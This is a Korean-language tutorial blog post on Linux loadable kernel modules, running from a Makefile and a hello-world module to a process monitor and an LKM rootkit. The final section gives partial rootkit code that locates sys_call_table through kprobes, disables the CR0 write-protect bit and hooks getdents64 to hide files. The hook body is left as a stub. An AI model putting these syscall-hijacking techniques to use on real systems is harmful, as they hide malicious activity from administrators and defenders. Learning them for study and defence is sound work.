LKM Addict, lkm의 기본을 배워요

안녕하세요 여러분! 오늘은 간단한 "Hello World" 모듈부터 LKM 루트킷 생성까지 LKM(로드 가능한 커널 모듈)을 안내하겠습니다. 이 내용이 도움이 되었다면 자유롭게 공유해 주시고, 끝까지 읽어주신 모든 분들께 미리 감사드립니다. 게시물 하단에 링크된 모든 코드와 참조 자료가 있으므로 소스를 꼭 확인하세요. 저를 믿으세요. 이를 자세히 살펴보고 코드를 수정하면 더 많은 것을 배우는 데 정말 도움이 될 것입니다. 하지만 주의하세요. 일부 코드는 GPL 3 라이센스를 따르므로 해당 약관을 숙지하고 있어야 합니다.

필요한 것:

리눅스-헤더-일반
C 컴파일러(GCC 또는 cc를 권장합니다)

목차:

• 1) LKM이란 무엇이며 어떻게 작동하나요
• 2) LKM Makefile 예시
• 3) 모듈이 커널에 로드되는 방법
• 4) LKM "Hello World"
• 5) 지난 몇 년간의 주요 변화
• 6) Kernel 5.7의 Syscall 테이블 변경
• 7) 공정 모니터링을 위한 LKM
• 8) LKM 루트킷 구축

1) LKM이란 무엇이며 어떻게 작동합니까?

LKM은 전체 커널을 다시 컴파일할 필요 없이 하드웨어용 드라이버를 추가하는 등 Linux 커널의 기능을 확장하는 데 도움이 되는 로드 가능한 커널 모듈입니다. 장치 드라이버(예: 사운드 카드), 파일 시스템 등에 적합합니다. 모든 LKM에는 최소한 다음 두 가지 기본 기능이 필요합니다.

static int __init module_init(void)
{
    return 0;
}

static void __exit module_exit(void)
{
}

2) LKM 메이크파일 예:

다음은 모듈 컴파일을 위한 매우 간단한 Makefile입니다.

obj-m := example.o
KDIR := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

all:
 $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
 $(MAKE) -C $(KDIR) M=$(PWD) clean

3) 모듈이 커널에 로드되는 방법:

lsmod 명령을 사용하면 커널에 로드된 모듈을 볼 수 있습니다. /proc/modules의 정보를 확인합니다. 모듈은 일반적으로 다음과 같은 별칭을 통해 커널을 식별합니다.

별칭 char-major-10–30 소프트독

이것은 modprobe에게 Softdog.o 모듈이 로드되어야 함을 알리고 /lib/modules/version/modules.dep에서 depmod -a를 실행하여 생성된 종속성을 확인합니다.

4) LKM "안녕하세요 세계":

초기본적인 'Hello World' 모듈을 만드는 방법은 다음과 같습니다.

#include <linux/module.h> 
#include <linux/kernel.h> 
#include <linux/init.h>   

static int __init hello_init(void)
{
    printk(KERN_INFO "<1>Hello World\n");
    return 0;
}

static void __exit hello_exit(void)
{
    printk(KERN_INFO"<1> Bye bye!");
}

module_init(hello_init);
module_exit(hello_exit);

MODULE_AUTHOR("BrunoCiccarino");
MODULE_LICENSE("GPL");

5) 수년간 LKM의 주요 변화:

시간이 지남에 따라 LKM에는 상당히 중요한 변화가 있었으므로 이를 Linux 커널 버전별로 분류해 보겠습니다.

커널 2.x(최대 2.6):

동적 LKM 로드 및 언로드에 대한 초기 지원
더 나은 디버깅 도구(OOPS, PANIC).
커널 2.6.x:

보다 나은 기기 관리를 위한 udev를 소개합니다.
더 빠른 응답 시간을 위한 선점형 커널.
NPTL(네이티브 Posix 스레드 라이브러리)은 다중 스레드 프로세스 처리를 개선합니다.
커널 3.x:

네임스페이스 지원, Docker와 같은 컨테이너 기술 개선
파일 시스템 및 GPU 드라이버 개선.
커널 4.x:

KASLR을 통해 커널 보안이 강화됩니다.
더 나은 컨테이너 지원(Cgroups, 네임스페이스).
새로운 하드웨어를 지원합니다.
커널 5.x:

더 나은 파일 시스템 암호화 및 라이브 패치.
단순한 네트워크를 넘어 BPF 확장.
RISC-V 및 ARM 지원이 향상되었습니다.
커널 5.7:

주요 변경 사항: 보안상의 이유로 syscall 테이블(sys_call_table)에 대한 액세스가 더 어려워졌습니다. syscall 테이블을 수정해야 하는 모듈을 조정해야 했습니다.
커널 6.x:

더 안전한 커널 모듈 개발을 위한 Rust 언어 지원
모바일 장치의 에너지 효율성에 중점을 두고 보안 및 격리를 개선했습니다.

6) 커널 5.7의 Syscall 테이블 변경 사항:

Linux 5.7에서는 syscall 테이블을 보호하기 위해 변경되었습니다. 이제 쓰기 금지되어 있어 쉽게 액세스할 수 없습니다. 이는 보안 측면에서는 큰 이점이지만 이에 의존하는 합법적인 모듈에서는 복잡한 문제입니다. sys_call_table을 찾기 위해 kprobes.h를 사용했다면 새로운 전략이 필요합니다. 이제는 쓰기 방지(WP)와 같은 보호 기능으로 인해 직접 수정할 수 없습니다.

7) 공정 모니터링을 위한 LKM:

타이머를 사용하여 주기적으로(예: 2초마다) 검사를 실행하여 커널의 프로세스를 모니터링하는 모듈입니다. 프로세스 생성 및 종료, 파일 액세스, 네트워크 사용 등을 감시합니다.

이를 시작하는 데 도움이 되는 몇 가지 코드는 다음과 같습니다.

#include <linux/module.h>
#include <linux/sched.h>
#include <linux/timer.h>
#include <linux/cred.h>

static struct timer_list procmonitor_timer;

static void procmonitor_check_proc_tree(unsigned long unused)
{
    struct task_struct *task;
    for_each_process(task)
        printk(KERN_INFO "process: %s, PID: %d\n", task->comm, task->pid);

    mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(2000));
}

static int __init procmonitor_init(void)
{
    setup_timer(&procmonitor_timer, procmonitor_check_proc_tree, 0);
    mod_timer(&procmonitor_timer, jiffies + msecs_to_jiffies(200));
    return 0;
}

static void __exit procmonitor_exit(void)
{
    del_timer_sync(&procmonitor_timer);
}

module_init(procmonitor_init);
module_exit(procmonitor_exit);

8) LKM 루트킷:

루트킷은 기본적으로 악성 코드를 숨기기 위해 시스템 호출을 하이재킹하는 악성 모듈입니다. syscall 테이블에 연결하여 동작을 수정하는 방법은 다음과 같습니다.

먼저 syscall 테이블을 찾아야 합니다.

unsigned long *find_syscall_table(void)
{
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
    return (unsigned long*)kallsyms_lookup_name("sys_call_table");
}

그런 다음 syscall 테이블이 있는 메모리를 보호 해제할 수 있습니다.

static inline void unprotect_memory(void)
{
    write_cr0_forced(cr0 & ~0x00010000);
}

그런 다음 원래 기능을 후크로 교체하세요.

static int __init ghost_init(void)
{
    __syscall_table = find_syscall_table();
    if (!__syscall_table) return -1;

    cr0 = read_cr0();
    orig_getdents64 = (void *)__syscall_table[MY_NR_getdents];
    unprotect_memory();
    __syscall_table[MY_NR_getdents] = (unsigned long)hook_getdents64;
    protect_memory();
    return 0;
}

후크 기능은 파일을 가로채서 숨깁니다.

asmlinkage int hook_getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count) {
    int ret = orig_getdents64(fd, dirp, count);
    // Intercept the syscall here...
    return ret;
}

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